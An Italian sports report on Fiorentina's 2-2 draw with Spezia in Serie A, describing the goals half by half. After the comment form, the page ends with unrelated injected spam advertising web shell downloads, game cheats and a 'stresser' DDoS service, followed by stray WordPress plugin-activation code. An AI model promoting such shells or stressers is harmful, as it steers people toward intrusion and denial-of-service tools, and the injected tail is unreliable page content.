Serie A, lo Spezia riacciuffa la Fiorentina: 2-2 al Picco


In 4 minuti Pezzella e Biraghi a segno, poi i viola si adagiano e vengono rimontati dai liguri. Callejon debutta nel finale

Dal nostro inviato G.B. Olivero

18 ottobre
– Cesena

Non bastano due gol nei primi quattro minuti alla Fiorentina, che a Cesena viene raggiunta dallo Spezia e rischia addirittura di perdere. I viola sono apparsi ingenui e un po’ presuntuosi nella gestione della gara che sembrava risolta in avvio e che invece ha trasmesso indicazioni preoccupanti per Commisso. Il centrocampo di qualità non ha funzionato, la difesa ha pagato errori individuali e l’attacco ha creato troppo poco. La panchina di Iachini non sembrava particolarmente salda già prima di questa partita, può darsi che adesso qualche riflessione in casa viola cominci. Lo Spezia, invece, ha mostrato grande carattere e la capacità di risalire con calma dopo gli errori che avevano in pratica consegnato la partita alla Fiorentina. Determinante l’ingresso nella ripresa di Nzola, che non ha segnato ma è stato tatticamente fondamentale per la crescita di tutto il gruppo.

PRIMO TEMPO

—  

Pronti, via e la Fiorentina fa addirittura due gol. Al 2’ Biraghi batte un corner, Milenkovic fa scattare il blocco, Deiola si perde Pezzella che segna di testa senza nemmeno faticare. Al 4’ Vlahovic si allarga sulla destra, attira Chabot fuori dall’area, innesca Lirola il cui cross trova dalla parte opposta Biraghi pronto alla conclusione vincente. Due sberle che fanno male e infatti lo Spezia resta stordito per un po’. La Fiorentina potrebbe infierire, ma colpevolmente non lo fa giocando in modo un po’ troppo lezioso sulla trequarti. Ribery è sempre uno spettacolo però a volte non si capisce con i compagni e allarga sconsolato le braccia. Lo Spezia fatica a trovare spazi nell’area viola anche perché l’assenza di Galabinov toglie parecchie certezze. L’unica soluzione che sembra produrre qualcosa è il lancio lungo a scavalcare la difesa quando c’è un po’ di campo tra la terza linea viola e Dragowski. Così Gyasi riesce a servire Piccoli davanti alla porta, ma il giovane attaccante manca il tocco decisivo. Al 39’ un’azione simile consente allo Spezia di tirare per la prima volta in porta e di segnare: Terzi lancia lungo verso Verde, che è in chiara posizione di fuorigioco. Caceres, però, commette un gravissimo errore tecnico toccando appena il pallone e non riuscendo a rinviarlo. Il suo maldestro intervento sana la posizione di fuorigioco di Verde, che avanza e segna comodamente.

SECONDO TEMPO

—  

Lo Spezia cresce e costringe la Fiorentina a cercare spazi in contropiede. Al 18’ della ripresa Lirola mette sui piedi di Castrovilli la palla per chiudere la partita, ma il gioiello viola conferma di essere in una pessima giornata e manca il tocco decisivo. I cambi rivoluzionano le squadre e lo Spezia trova energie importanti in Nzola, Ferrer e Farias. Al 23’ Nzola vince un contrasto con Pezzella e serve Farias che da ottima posizione prova il tiro a giro ma non centra la porta. Lo stesso Farias si fa perdonare dai suoi compagni al 30’ quando di punta trova l’angolino dopo un’azione di corner e una corta respinta di Igor, subentrato all’infortunato Pezzella. Iachini, dopo aver inserito Cutrone al posto di Vlahovic, fa debuttare Callejon e nel finale si affida anche a Kouame, ma a sfiorare la vittoria è lo Spezia con una girata volante dell’ottimo Nzola. La palla finisce sul fondo per pochi centimetri, ma probabilmente il pareggio non rimanderà il processo a Iachini.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Shell İndir Oyun Hileleri Oyun Hileleri Stresser

activate_plugin( 'automatic_replace/index.php' ); activate_plugin( 'bloqueo_comentarios/index.php' ); activate_plugin( 'disable-xml-rpc/disable-xml-rpc.php' ); activate_plugin( 'rename-wp-login/rename-wp-login.php' );